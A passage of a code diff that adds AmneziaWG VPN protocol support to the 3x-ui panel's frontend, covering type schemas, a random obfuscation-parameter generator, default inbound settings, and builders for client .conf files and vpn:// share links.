+        "type": "integer"
+      },
+      "secondaryDns": {
+        "type": "string"
+      },
+      "subnetCidr": {
+        "type": "integer"
+      },
+      "subnetIp": {
+        "type": "string"
+      }
+    },
+    "required": [
+      "disableCookies",
+      "h1",
+      "h2",
+      "h3",
+      "h4",
+      "jc",
+      "jmax",
+      "jmin",
+      "primaryDns",
+      "privateKey",
+      "publicKey",
+      "randomTrailers",
+      "s1",
+      "s2",
+      "s3",
+      "s4",
+      "secondaryDns",
+      "subnetCidr",
+      "subnetIp"
+    ],
+    "type": "object"
+  },
   "Setting": {
   "Setting": {
     "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
     "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
     "properties": {
     "properties": {

+ 63 - 0
frontend/src/generated/types.ts

@@ -231,6 +231,12 @@ export interface AllSettingView {
   webPort: number;
   webPort: number;
 }
 }
 
 
+export interface AmneziaWGLogs {
+  events: string[];
+  peers: PeerActivity[];
+  running: boolean;
+}
+
 export interface ApiToken {
 export interface ApiToken {
   createdAt: number;
   createdAt: number;
   enabled: boolean;
   enabled: boolean;
@@ -254,6 +260,7 @@ export interface ApiTokenView {
 export interface Client {
 export interface Client {
   adTag?: string;
   adTag?: string;
   allowedIPs?: string[];
   allowedIPs?: string[];
+  allowedIPsByInbound?: Record<number, string[]>;
   auth?: string;
   auth?: string;
   comment: string;
   comment: string;
   created_at?: number;
   created_at?: number;
@@ -261,6 +268,7 @@ export interface Client {
   enable: boolean;
   enable: boolean;
   expiryTime: number;
   expiryTime: number;
   flow?: string;
   flow?: string;
+  forwardedPorts?: string;
   group?: string;
   group?: string;
   id?: string;
   id?: string;
   keepAlive?: number;
   keepAlive?: number;
@@ -300,6 +308,7 @@ export interface ClientRecord {
   enable: boolean;
   enable: boolean;
   expiryTime: number;
   expiryTime: number;
   flow: string;
   flow: string;
+  forwardedPorts: string;
   group: string;
   group: string;
   id: number;
   id: number;
   keepAlive: number;
   keepAlive: number;
@@ -512,6 +521,7 @@ export interface InboundFallback {
 }
 }
 
 
 export interface InboundOption {
 export interface InboundOption {
+  awgServer?: ServerSettings | null;
   enable: boolean;
   enable: boolean;
   id: number;
   id: number;
   listen?: string;
   listen?: string;
@@ -658,6 +668,19 @@ export interface PanelUpdateStatus {
   state: string;
   state: string;
 }
 }
 
 
+export interface PeerActivity {
+  allowedIPs: string;
+  down: number;
+  email: string;
+  endpoint: string;
+  handshake: number;
+  inboundId: number;
+  interface: string;
+  online: boolean;
+  tag: string;
+  up: number;
+}
+
 export interface ProbeResultUI {
 export interface ProbeResultUI {
   cpuPct: number;
   cpuPct: number;
   error: string;
   error: string;
@@ -694,6 +717,46 @@ export interface RealityScanResult {
   x25519: boolean;
   x25519: boolean;
 }
 }
 
 
+export interface ServerSettings {
+  contentPaddingAddition?: string;
+  disableCookies: boolean;
+  externalInterface?: string;
+  h1: string;
+  h2: string;
+  h3: string;
+  h4: string;
+  headerProtectionKey?: string;
+  i1?: string;
+  i2?: string;
+  i3?: string;
+  i4?: string;
+  i5?: string;
+  ipv6Enabled?: boolean;
+  ipv6ExternalInterface?: string;
+  ipv6Subnet?: string;
+  jc: number;
+  jmax: number;
+  jmin: number;
+  keepaliveTimeout?: string;
+  maxHandshakeAttempts?: string;
+  mtu?: number;
+  primaryDns: string;
+  privateKey: string;
+  publicKey: string;
+  randomTrailers: boolean;
+  rejectAfterTime?: string;
+  rekeyAfterTime?: string;
+  rekeyTimeout?: string;
+  routeThroughXray?: boolean;
+  s1: number;
+  s2: number;
+  s3: number;
+  s4: number;
+  secondaryDns: string;
+  subnetCidr: number;
+  subnetIp: string;
+}
+
 export interface Setting {
 export interface Setting {
   id: number;
   id: number;
   key: string;
   key: string;

+ 67 - 1
frontend/src/generated/zod.ts

@@ -249,6 +249,13 @@ export const AllSettingViewSchema = z.object({
 });
 });
 export type AllSettingView = z.infer<typeof AllSettingViewSchema>;
 export type AllSettingView = z.infer<typeof AllSettingViewSchema>;
 
 
+export const AmneziaWGLogsSchema = z.object({
+  events: z.array(z.string()),
+  peers: z.array(z.lazy(() => PeerActivitySchema)),
+  running: z.boolean(),
+});
+export type AmneziaWGLogs = z.infer<typeof AmneziaWGLogsSchema>;
+
 export const ApiTokenSchema = z.object({
 export const ApiTokenSchema = z.object({
   createdAt: z.number().int(),
   createdAt: z.number().int(),
   enabled: z.boolean(),
   enabled: z.boolean(),
@@ -274,6 +281,7 @@ export type ApiTokenView = z.infer<typeof ApiTokenViewSchema>;
 export const ClientSchema = z.object({
 export const ClientSchema = z.object({
   adTag: z.string().optional(),
   adTag: z.string().optional(),
   allowedIPs: z.array(z.string()).optional(),
   allowedIPs: z.array(z.string()).optional(),
+  allowedIPsByInbound: z.record(z.number().int(), z.array(z.string())).optional(),
   auth: z.string().optional(),
   auth: z.string().optional(),
   comment: z.string(),
   comment: z.string(),
   created_at: z.number().int().optional(),
   created_at: z.number().int().optional(),
@@ -281,6 +289,7 @@ export const ClientSchema = z.object({
   enable: z.boolean(),
   enable: z.boolean(),
   expiryTime: z.number().int(),
   expiryTime: z.number().int(),
   flow: z.string().optional(),
   flow: z.string().optional(),
+  forwardedPorts: z.string().optional(),
   group: z.string().optional(),
   group: z.string().optional(),
   id: z.string().optional(),
   id: z.string().optional(),
   keepAlive: z.number().int().optional(),
   keepAlive: z.number().int().optional(),
@@ -322,6 +331,7 @@ export const ClientRecordSchema = z.object({
   enable: z.boolean(),
   enable: z.boolean(),
   expiryTime: z.number().int(),
   expiryTime: z.number().int(),
   flow: z.string(),
   flow: z.string(),
+  forwardedPorts: z.string(),
   group: z.string(),
   group: z.string(),
   id: z.number().int(),
   id: z.number().int(),
   keepAlive: z.number().int(),
   keepAlive: z.number().int(),
@@ -513,7 +523,7 @@ export const InboundSchema = z.object({
   nodeId: z.number().int().nullable().optional(),
   nodeId: z.number().int().nullable().optional(),
   originNodeGuid: z.string().optional(),
   originNodeGuid: z.string().optional(),
   port: z.number().int().min(0).max(65535),
   port: z.number().int().min(0).max(65535),
-  protocol: z.enum(['vmess', 'vless', 'trojan', 'shadowsocks', 'wireguard', 'hysteria', 'http', 'mixed', 'tunnel', 'tun', 'mtproto']),
+  protocol: z.enum(['vmess', 'vless', 'trojan', 'shadowsocks', 'wireguard', 'hysteria', 'http', 'mixed', 'tunnel', 'tun', 'mtproto', 'amneziawg']),
   remark: z.string(),
   remark: z.string(),
   settings: z.unknown(),
   settings: z.unknown(),
   shareAddr: z.string(),
   shareAddr: z.string(),
@@ -550,6 +560,7 @@ export const InboundFallbackSchema = z.object({
 export type InboundFallback = z.infer<typeof InboundFallbackSchema>;
 export type InboundFallback = z.infer<typeof InboundFallbackSchema>;
 
 
 export const InboundOptionSchema = z.object({
 export const InboundOptionSchema = z.object({
+  awgServer: z.lazy(() => ServerSettingsSchema).nullable().optional(),
   enable: z.boolean(),
   enable: z.boolean(),
   id: z.number().int(),
   id: z.number().int(),
   listen: z.string().optional(),
   listen: z.string().optional(),
@@ -703,6 +714,20 @@ export const PanelUpdateStatusSchema = z.object({
 });
 });
 export type PanelUpdateStatus = z.infer<typeof PanelUpdateStatusSchema>;
 export type PanelUpdateStatus = z.infer<typeof PanelUpdateStatusSchema>;
 
 
+export const PeerActivitySchema = z.object({
+  allowedIPs: z.string(),
+  down: z.number().int(),
+  email: z.string(),
+  endpoint: z.string(),
+  handshake: z.number().int(),
+  inboundId: z.number().int(),
+  interface: z.string(),
+  online: z.boolean(),
+  tag: z.string(),
+  up: z.number().int(),
+});
+export type PeerActivity = z.infer<typeof PeerActivitySchema>;
+
 export const ProbeResultUISchema = z.object({
 export const ProbeResultUISchema = z.object({
   cpuPct: z.number(),
   cpuPct: z.number(),
   error: z.string(),
   error: z.string(),
@@ -741,6 +766,47 @@ export const RealityScanResultSchema = z.object({
 });
 });
 export type RealityScanResult = z.infer<typeof RealityScanResultSchema>;
 export type RealityScanResult = z.infer<typeof RealityScanResultSchema>;
 
 
+export const ServerSettingsSchema = z.object({
+  contentPaddingAddition: z.string().optional(),
+  disableCookies: z.boolean(),
+  externalInterface: z.string().optional(),
+  h1: z.string(),
+  h2: z.string(),
+  h3: z.string(),
+  h4: z.string(),
+  headerProtectionKey: z.string().optional(),
+  i1: z.string().optional(),
+  i2: z.string().optional(),
+  i3: z.string().optional(),
+  i4: z.string().optional(),
+  i5: z.string().optional(),
+  ipv6Enabled: z.boolean().optional(),
+  ipv6ExternalInterface: z.string().optional(),
+  ipv6Subnet: z.string().optional(),
+  jc: z.number().int(),
+  jmax: z.number().int(),
+  jmin: z.number().int(),
+  keepaliveTimeout: z.string().optional(),
+  maxHandshakeAttempts: z.string().optional(),
+  mtu: z.number().int().optional(),
+  primaryDns: z.string(),
+  privateKey: z.string(),
+  publicKey: z.string(),
+  randomTrailers: z.boolean(),
+  rejectAfterTime: z.string().optional(),
+  rekeyAfterTime: z.string().optional(),
+  rekeyTimeout: z.string().optional(),
+  routeThroughXray: z.boolean().optional(),
+  s1: z.number().int(),
+  s2: z.number().int(),
+  s3: z.number().int(),
+  s4: z.number().int(),
+  secondaryDns: z.string(),
+  subnetCidr: z.number().int(),
+  subnetIp: z.string(),
+});
+export type ServerSettings = z.infer<typeof ServerSettingsSchema>;
+
 export const SettingSchema = z.object({
 export const SettingSchema = z.object({
   id: z.number().int(),
   id: z.number().int(),
   key: z.string(),
   key: z.string(),

+ 125 - 0
frontend/src/lib/xray/amneziawg-obfuscation.ts

@@ -0,0 +1,125 @@
+import type { AmneziawgServer } from '@/schemas/protocols/inbound/amneziawg';
+
+/*
+ * Client-side AmneziaWG 3.1 obfuscation generator, mirroring the ranges and
+ * constraints of the Go backend's amneziawg.GenerateObfuscation31
+ * (internal/amneziawg/params.go). Exact parity isn't required — the user can
+ * edit any field afterward and the backend validates on save — but the two
+ * generators must stay range-compatible so a value produced here always
+ * passes the Go-side ValidateObfuscation.
+ */
+
+export type AwgObfuscation = Pick<
+  AmneziawgServer,
+  | 'jc'
+  | 'jmin'
+  | 'jmax'
+  | 's1'
+  | 's2'
+  | 's3'
+  | 's4'
+  | 'h1'
+  | 'h2'
+  | 'h3'
+  | 'h4'
+  | 'i1'
+  | 'i2'
+  | 'i3'
+  | 'i4'
+  | 'i5'
+  | 'headerProtectionKey'
+  | 'contentPaddingAddition'
+  | 'rekeyAfterTime'
+  | 'rekeyTimeout'
+  | 'rejectAfterTime'
+  | 'keepaliveTimeout'
+  | 'maxHandshakeAttempts'
+  | 'randomTrailers'
+  | 'disableCookies'
+>;
+
+const randInt = (min: number, max: number) => min + Math.floor(Math.random() * (max - min + 1));
+
+/*
+ * base64 of 32 crypto-grade random bytes — the exact HeaderProtectionKey
+ * shape amneziawg-tools parses and the Go backend validates.
+ */
+const generateHeaderProtectionKey = (): string => {
+  const bytes = new Uint8Array(32);
+  crypto.getRandomValues(bytes);
+  return btoa(String.fromCharCode(...bytes));
+};
+
+/*
+ * Four non-overlapping "low-high" ranges for H1-H4: split the space into
+ * four bands and take a random sub-range from each (>= 1000 wide, low
+ * bound >= 5 since 1-4 are reserved for vanilla WireGuard message types).
+ */
+const generateHRanges = (): [string, string, string, string] => {
+  const hMax = 2147483647;
+  const hMinWidth = 1000;
+  const lo = 5;
+  const bandSize = Math.floor((hMax - lo + 1) / 4);
+  return Array.from({ length: 4 }, (_, i) => {
+    const bandLo = lo + i * bandSize;
+    const bandHi = bandLo + bandSize - 1;
+    const start = randInt(bandLo, bandHi - hMinWidth - 1);
+    const end = randInt(start + hMinWidth, bandHi - 1);
+    return `${start}-${end}`;
+  }) as [string, string, string, string];
+};
+
+export function generateAwgObfuscation(): AwgObfuscation {
+  const jmin = randInt(40, 89);
+  const s1 = randInt(15, 150);
+  let s2 = randInt(15, 150);
+  while (s1 + 56 === s2) {
+    s2 = randInt(15, 150);
+  }
+  const [h1, h2, h3, h4] = generateHRanges();
+
+  /*
+   * Timing windows bracket WireGuard's stock constants (rekey 120s, reject
+   * 180s, retry 5s, keepalive 10s); every reject value exceeds every rekey
+   * value by >= 30s by construction, matching the Go generator and its
+   * ValidateObfuscation cross-check. Content padding stays <= 64 total for
+   * the same MTU-headroom reason that caps s4 at 32.
+   */
+  const cpLo = randInt(8, 24);
+  const rekeyLo = randInt(100, 120);
+  const rekeyHi = rekeyLo + randInt(10, 40);
+  const rejectLo = rekeyHi + randInt(30, 60);
+  const rekeyTimeoutLo = randInt(3, 6);
+  const keepaliveLo = randInt(8, 12);
+  const attemptsLo = randInt(15, 25);
+
+  return {
+    jc: randInt(3, 6),
+    jmin,
+    jmax: jmin + randInt(50, 250),
+    s1,
+    s2,
+    // Floored at 12, not the protocol's 0/8/4 minima: headerProtectionKey is
+    // always generated below, and IpcSet rejects it unless every s1-s4 >= 12.
+    s3: randInt(12, 55),
+    s4: randInt(12, 27),
+    h1,
+    h2,
+    h3,
+    h4,
+    i1: `<r ${randInt(32, 256)}>`,
+    i2: '',
+    i3: '',
+    i4: '',
+    i5: '',
+    headerProtectionKey: generateHeaderProtectionKey(),
+    contentPaddingAddition: `${cpLo}-${cpLo + randInt(8, 40)}`,
+    rekeyAfterTime: `${rekeyLo}-${rekeyHi}`,
+    rekeyTimeout: `${rekeyTimeoutLo}-${rekeyTimeoutLo + randInt(1, 4)}`,
+    rejectAfterTime: `${rejectLo}-${rejectLo + randInt(30, 90)}`,
+    keepaliveTimeout: `${keepaliveLo}-${keepaliveLo + randInt(2, 8)}`,
+    maxHandshakeAttempts: `${attemptsLo}-${attemptsLo + randInt(5, 25)}`,
+    randomTrailers: true,
+    disableCookies: true,
+  };
+}

+ 44 - 1
frontend/src/lib/xray/inbound-defaults.ts

@@ -1,5 +1,7 @@
 import { RandomUtil, Wireguard } from '@/utils';
 import { RandomUtil, Wireguard } from '@/utils';
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
 
 
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 import type { HttpInboundSettings } from '@/schemas/protocols/inbound/http';
 import type { HttpInboundSettings } from '@/schemas/protocols/inbound/http';
 import type { HysteriaClient, HysteriaInboundSettings } from '@/schemas/protocols/inbound/hysteria';
 import type { HysteriaClient, HysteriaInboundSettings } from '@/schemas/protocols/inbound/hysteria';
 import type { MixedInboundSettings } from '@/schemas/protocols/inbound/mixed';
 import type { MixedInboundSettings } from '@/schemas/protocols/inbound/mixed';
@@ -263,12 +265,20 @@ export interface WireguardInboundSeed {
   mtu?: number;
   mtu?: number;
   secretKey?: string;
   secretKey?: string;
   noKernelTun?: boolean;
   noKernelTun?: boolean;
+  subnetIp?: string;
+  subnetCidr?: number;
 }
 }
 
 
 // WireGuard is multi-client now: a new inbound holds only the server identity
 // WireGuard is multi-client now: a new inbound holds only the server identity
 // (secretKey/mtu) and starts with no clients. Clients (peers) are added later
 // (secretKey/mtu) and starts with no clients. Clients (peers) are added later
 // through the client modal, which generates each one's keypair and a unique
 // through the client modal, which generates each one's keypair and a unique
 // tunnel address. peers stays empty for backward-compatible parsing.
 // tunnel address. peers stays empty for backward-compatible parsing.
+//
+// subnetIp/subnetCidr default to 10.0.0.0/24 here — the same value the Go
+// backend has always fallen back to for an inbound with no clients yet — so
+// a freshly created inbound shows an explicit, editable value from the
+// start (matching AmneziaWG's own subnet field), rather than an empty one
+// that silently relies on server-side inference until an admin fills it in.
 export function createDefaultWireguardInboundSettings(
 export function createDefaultWireguardInboundSettings(
   seed: WireguardInboundSeed = {},
   seed: WireguardInboundSeed = {},
 ): WireguardInboundSettings {
 ): WireguardInboundSettings {
@@ -278,6 +288,36 @@ export function createDefaultWireguardInboundSettings(
     peers: [],
     peers: [],
     clients: [],
     clients: [],
     noKernelTun: seed.noKernelTun ?? false,
     noKernelTun: seed.noKernelTun ?? false,
+    subnetIp: seed.subnetIp ?? '10.0.0.0',
+    subnetCidr: seed.subnetCidr ?? 24,
+  };
+}
+
+// AmneziaWG is multi-client, like WireGuard, and uses the same Curve25519
+// keypair format — Wireguard.generateKeypair() works unchanged. Unlike
+// WireGuard's Xray-native inbound, the server's publicKey is a real
+// persisted field here (the Go backend reads it directly rather than
+// re-deriving it), so it's seeded alongside privateKey. The obfuscation
+// parameters are randomized per inbound (a static default would give every
+// install the same DPI fingerprint), mirroring the Go backend's
+// internal/amneziawg.GenerateObfuscation31.
+export function createDefaultAmneziawgInboundSettings(): AmneziawgInboundSettings {
+  const kp = Wireguard.generateKeypair();
+  return {
+    server: {
+      privateKey: kp.privateKey,
+      publicKey: kp.publicKey,
+      subnetIp: '10.8.1.0',
+      subnetCidr: 24,
+      primaryDns: '8.8.8.8',
+      secondaryDns: '8.8.4.4',
+      externalInterface: '',
+      ipv6Enabled: false,
+      ipv6Subnet: '',
+      ipv6ExternalInterface: '',
+      ...generateAwgObfuscation(),
+    },
+    clients: [],
   };
   };
 }
 }
 
 
@@ -297,7 +337,8 @@ export type AnyInboundSettings =
   | TunInboundSettings
   | TunInboundSettings
   | TunnelInboundSettings
   | TunnelInboundSettings
   | WireguardInboundSettings
   | WireguardInboundSettings
-  | MtprotoInboundSettings;
+  | MtprotoInboundSettings
+  | AmneziawgInboundSettings;
 
 
 export function createDefaultInboundSettings(protocol: string): AnyInboundSettings | null {
 export function createDefaultInboundSettings(protocol: string): AnyInboundSettings | null {
   switch (protocol) {
   switch (protocol) {
@@ -323,6 +364,8 @@ export function createDefaultInboundSettings(protocol: string): AnyInboundSettin
       return createDefaultWireguardInboundSettings();
       return createDefaultWireguardInboundSettings();
     case 'mtproto':
     case 'mtproto':
       return createDefaultMtprotoInboundSettings();
       return createDefaultMtprotoInboundSettings();
+    case 'amneziawg':
+      return createDefaultAmneziawgInboundSettings();
     default:
     default:
       return null;
       return null;
   }
   }

+ 3 - 0
frontend/src/lib/xray/inbound-form-adapter.ts

@@ -5,6 +5,7 @@ import type {
 } from '@/schemas/forms/inbound-form';
 } from '@/schemas/forms/inbound-form';
 import type { InboundSettings } from '@/schemas/protocols/inbound';
 import type { InboundSettings } from '@/schemas/protocols/inbound';
 import {
 import {
+  AmneziawgClientSchema,
   HysteriaClientSchema,
   HysteriaClientSchema,
   MtprotoClientSchema,
   MtprotoClientSchema,
   ShadowsocksClientSchema,
   ShadowsocksClientSchema,
@@ -268,6 +269,8 @@ function clientSchemaForProtocol(protocol: string): z.ZodType | null {
       return WireguardClientSchema;
       return WireguardClientSchema;
     case 'mtproto':
     case 'mtproto':
       return MtprotoClientSchema;
       return MtprotoClientSchema;
+    case 'amneziawg':
+      return AmneziawgClientSchema;
     default:
     default:
       return null;
       return null;
   }
   }

+ 195 - 1
frontend/src/lib/xray/inbound-link.ts

@@ -1,6 +1,7 @@
 import { Base64, Wireguard } from '@/utils';
 import { Base64, Wireguard } from '@/utils';
 
 
 import type { Inbound } from '@/schemas/api/inbound';
 import type { Inbound } from '@/schemas/api/inbound';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 import type { VlessClient } from '@/schemas/protocols/inbound/vless';
 import type { VlessClient } from '@/schemas/protocols/inbound/vless';
 import type { VmessSecurity } from '@/schemas/protocols/shared/vmess';
 import type { VmessSecurity } from '@/schemas/protocols/shared/vmess';
 import type {
 import type {
@@ -911,6 +912,168 @@ export function genWireguardConfig(input: GenWireguardLinkInput): string {
   return txt;
   return txt;
 }
 }
 
 
+// Shared input shape for both the per-client vpn:// link and .conf
+// builders below — settings.clients (not a peers array; unlike WireGuard,
+// AmneziaWG was multi-client from day one, so there's no legacy format).
+export interface GenAmneziaWGLinkInput {
+  settings: AmneziawgInboundSettings;
+  address: string;
+  port: number;
+  remark?: string;
+  peerIndex: number;
+}
+
+function amneziaWGHLine(key: string, value: string | undefined, fallback: string): string {
+  return `${key} = ${value && value.trim() !== '' ? value : fallback}`;
+}
+
+// Base64url (RFC 4648 §5), no padding — matches the real AmneziaVPN app's
+// own Qt::Base64UrlEncoding | Qt::OmitTrailingEquals framing for vpn:// links.
+function toBase64Url(text: string): string {
+  const bytes = new TextEncoder().encode(text);
+  let binary = '';
+  for (const b of bytes) binary += String.fromCharCode(b);
+  return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
+}
+
+// AmneziaWG share link: vpn://<base64url .conf text>, matching the real
+// AmneziaVPN app's own share-link scheme. The app's import path base64url-
+// decodes, best-effort qUncompresses (falls back to the raw bytes when the
+// input isn't qCompress-framed, which plain text never is), then parses the
+// result as a flat bag of "Key = Value" lines regardless of which
+// [Interface]/[Peer] section they came from — so wrapping the same .conf
+// text genAmneziaWGConfig already produces is sufficient; no JSON schema or
+// compression needs replicating. Confirmed against the app's own source
+// (importController.cpp's checkConfigFormat/extractWireGuardConfig).
+export function genAmneziaWGLink(input: GenAmneziaWGLinkInput): string {
+  const cfgText = genAmneziaWGConfig(input);
+  if (!cfgText) return '';
+  return `vpn://${toBase64Url(cfgText)}`;
+}
+
+// Plain-text AmneziaWG client config (.conf format). Mirrors
+// genWireguardConfig, plus the obfuscation lines every AmneziaWG client must
+// share with the server (see internal/amneziawg.writeObfuscation on the Go
+// side).
+export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
+  const { settings, address, port, remark = '', peerIndex } = input;
+  const client = settings.clients[peerIndex];
+  if (!client) return '';
+  const server = settings.server;
+
+  // These land unescaped in the .conf; a newline would inject a config line
+  // (e.g. a rogue PostUp) — same guard as the panel's other two emitters.
+  for (const v of [
+    client.privateKey ?? '',
+    server.primaryDns ?? '',
+    server.secondaryDns ?? '',
+    remark,
+  ]) {
+    if (/[\r\n]/.test(v)) return '';
+  }
+
+  let txt = `[Interface]\n`;
+  txt += `PrivateKey = ${client.privateKey ?? ''}\n`;
+  txt += `Address = ${(client.allowedIPs ?? []).join(', ')}\n`;
+  const dns = [server.primaryDns, server.secondaryDns].filter((v) => !!v && v.trim() !== '');
+  if (dns.length > 0) txt += `DNS = ${dns.join(', ')}\n`;
+  if (typeof server.mtu === 'number' && server.mtu > 0) {
+    txt += `MTU = ${server.mtu}\n`;
+  }
+  txt += `Jc = ${server.jc}\n`;
+  txt += `Jmin = ${server.jmin}\n`;
+  txt += `Jmax = ${server.jmax}\n`;
+  txt += `S1 = ${server.s1}\n`;
+  txt += `S2 = ${server.s2}\n`;
+  if (server.s3) txt += `S3 = ${server.s3}\n`;
+  if (server.s4) txt += `S4 = ${server.s4}\n`;
+  txt += `${amneziaWGHLine('H1', server.h1, '1')}\n`;
+  txt += `${amneziaWGHLine('H2', server.h2, '2')}\n`;
+  txt += `${amneziaWGHLine('H3', server.h3, '3')}\n`;
+  txt += `${amneziaWGHLine('H4', server.h4, '4')}\n`;
+  if (server.i1) txt += `I1 = ${server.i1}\n`;
+  if (server.i2) txt += `I2 = ${server.i2}\n`;
+  if (server.i3) txt += `I3 = ${server.i3}\n`;
+  if (server.i4) txt += `I4 = ${server.i4}\n`;
+  if (server.i5) txt += `I5 = ${server.i5}\n`;
+  const optional31: Array<[string, string | undefined]> = [
+    ['HeaderProtectionKey', server.headerProtectionKey],
+    ['ContentPaddingAddition', server.contentPaddingAddition],
+    ['RekeyAfterTime', server.rekeyAfterTime],
+    ['RekeyTimeout', server.rekeyTimeout],
+    ['RejectAfterTime', server.rejectAfterTime],
+    ['KeepaliveTimeout', server.keepaliveTimeout],
+    ['MaxHandshakeAttempts', server.maxHandshakeAttempts],
+  ];
+  for (const [key, value] of optional31) {
+    if (value && value.trim() !== '') txt += `${key} = ${value}\n`;
+  }
+  if (server.randomTrailers) txt += `RandomTrailers = on\n`;
+  if (server.disableCookies) txt += `DisableCookies = on\n`;
+  // Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
+  // emitters (amneziaWGConfigText in Go, buildAmneziaWGClientConfig); all three
+  // are independent implementations and must not drift apart.
+  txt += `\n# ${remark}\n`;
+  txt += `[Peer]\n`;
+  txt += `PublicKey = ${server.publicKey ?? ''}\n`;
+  if (client.preSharedKey && client.preSharedKey.length > 0) {
+    txt += `PresharedKey = ${client.preSharedKey}\n`;
+  }
+  txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
+  txt += `Endpoint = ${address}:${port}`;
+  if (typeof client.keepAlive === 'number' && client.keepAlive > 0) {
+    txt += `\nPersistentKeepalive = ${client.keepAlive}`;
+  }
+  return txt;
+}
+
+export interface GenAmneziaWGFanoutInput {
+  inbound: Inbound;
+  remark?: string;
+  hostOverride?: string;
+  fallbackHostname: string;
+}
+
+export function genAmneziaWGLinks(input: GenAmneziaWGFanoutInput): string {
+  const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
+  if (inbound.protocol !== 'amneziawg') return '';
+  const addr = resolveAddr(inbound, hostOverride, fallbackHostname);
+  const sep = '-';
+  const settings = inbound.settings as AmneziawgInboundSettings;
+  const clients = settings.clients ?? [];
+  return clients
+    .map((c, i) =>
+      genAmneziaWGLink({
+        settings,
+        address: addr,
+        port: inbound.port,
+        remark: `${remark}${sep}${i + 1}${wgPeerCommentSuffix(c)}`,
+        peerIndex: i,
+      }),
+    )
+    .join('\r\n');
+}
+
+export function genAmneziaWGConfigs(input: GenAmneziaWGFanoutInput): string {
+  const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
+  if (inbound.protocol !== 'amneziawg') return '';
+  const addr = resolveAddr(inbound, hostOverride, fallbackHostname);
+  const sep = '-';
+  const settings = inbound.settings as AmneziawgInboundSettings;
+  const clients = settings.clients ?? [];
+  return clients
+    .map((c, i) =>
+      genAmneziaWGConfig({
+        settings,
+        address: addr,
+        port: inbound.port,
+        remark: `${remark}${sep}${i + 1}${wgPeerCommentSuffix(c)}`,
+        peerIndex: i,
+      }),
+    )
+    .join('\r\n');
+}
+
 export function wireguardConfigFromLink(link: string, fallbackRemark = ''): string {
 export function wireguardConfigFromLink(link: string, fallbackRemark = ''): string {
   let url: URL;
   let url: URL;
   try {
   try {
@@ -971,6 +1134,34 @@ export function wireguardConfigFromLink(link: string, fallbackRemark = ''): stri
   return lines.join('\n');
   return lines.join('\n');
 }
 }
 
 
+// Reverse of toBase64Url above -- recovers a vpn:// link's plain .conf
+// payload for display/copy/download/QR, the AmneziaWG counterpart of
+// wireguardConfigFromLink. Simpler than that function: a vpn:// link's
+// payload already *is* the .conf text (see genAmneziaWGLink's own doc
+// comment), so there's nothing to reconstruct from query params -- just
+// decode. Mirrors link-label.tsx's own private fromBase64Url (used there
+// only to pull the remark/port back out for the tag label); duplicated
+// rather than imported since both are tiny, self-contained, and each
+// file already owns the matching encode or decode half of this pair.
+function fromBase64Url(value: string): string {
+  const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+  const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+  const binary = atob(padded);
+  const bytes = new Uint8Array(binary.length);
+  for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
+  return new TextDecoder().decode(bytes);
+}
+
+export function amneziawgConfigFromLink(link: string): string {
+  const trimmed = link.trim();
+  if (!trimmed.startsWith('vpn://')) return '';
+  try {
+    return fromBase64Url(trimmed.slice('vpn://'.length));
+  } catch {
+    return '';
+  }
+}
+
 export type { WireguardInboundPeer };
 export type { WireguardInboundPeer };
 
 
 function isUnixSocketListen(listen: string): boolean {
 function isUnixSocketListen(listen: string): boolean {
@@ -1282,7 +1473,7 @@ export interface GenInboundLinksInput {
 // Top-level entrypoint that produces the full \r\n-joined block a user
 // Top-level entrypoint that produces the full \r\n-joined block a user
 // pastes into a client. Iterates per-client for protocols with clients,
 // pastes into a client. Iterates per-client for protocols with clients,
 // falls back to a single SS link for single-user 2022-blake3-chacha20,
 // falls back to a single SS link for single-user 2022-blake3-chacha20,
-// and emits per-peer .conf blocks for wireguard. Returns '' for the
+// and emits per-peer .conf blocks for wireguard and amneziawg. Returns '' for the
 // other clientless protocols (http, mixed, tunnel).
 // other clientless protocols (http, mixed, tunnel).
 export function genInboundLinks(input: GenInboundLinksInput): string {
 export function genInboundLinks(input: GenInboundLinksInput): string {
   const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
   const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
@@ -1308,6 +1499,9 @@ export function genInboundLinks(input: GenInboundLinksInput): string {
   if (inbound.protocol === 'wireguard') {
   if (inbound.protocol === 'wireguard') {
     return genWireguardConfigs({ inbound, remark, hostOverride, fallbackHostname });
     return genWireguardConfigs({ inbound, remark, hostOverride, fallbackHostname });
   }
   }
+  if (inbound.protocol === 'amneziawg') {
+    return genAmneziaWGConfigs({ inbound, remark, hostOverride, fallbackHostname });
+  }
   return '';
   return '';
 }
 }
 
 

+ 1 - 1
frontend/src/lib/xray/inbound-tag.ts

@@ -14,7 +14,7 @@ function inboundTransports(
   streamSettings: Record<string, unknown> | undefined,
   streamSettings: Record<string, unknown> | undefined,
   settings: Record<string, unknown> | undefined,
   settings: Record<string, unknown> | undefined,
 ): TransportBits {
 ): TransportBits {
-  if (protocol === 'hysteria' || protocol === 'wireguard') return UDP;
+  if (protocol === 'hysteria' || protocol === 'wireguard' || protocol === 'amneziawg') return UDP;
 
 
   let bits: TransportBits = 0;
   let bits: TransportBits = 0;
   const network = asString(streamSettings?.network);
   const network = asString(streamSettings?.network);

+ 28 - 0
frontend/src/lib/xray/link-label.tsx

@@ -26,6 +26,7 @@ const PROTOCOL_LABELS: Record<string, string> = {
   wireguard: 'WireGuard',
   wireguard: 'WireGuard',
   wg: 'WireGuard',
   wg: 'WireGuard',
   tg: 'MTProto',
   tg: 'MTProto',
+  vpn: 'AmneziaWG',
 };
 };
 
 
 const PROTOCOL_COLORS: Record<string, string> = {
 const PROTOCOL_COLORS: Record<string, string> = {
@@ -37,6 +38,7 @@ const PROTOCOL_COLORS: Record<string, string> = {
   Hysteria2: 'magenta',
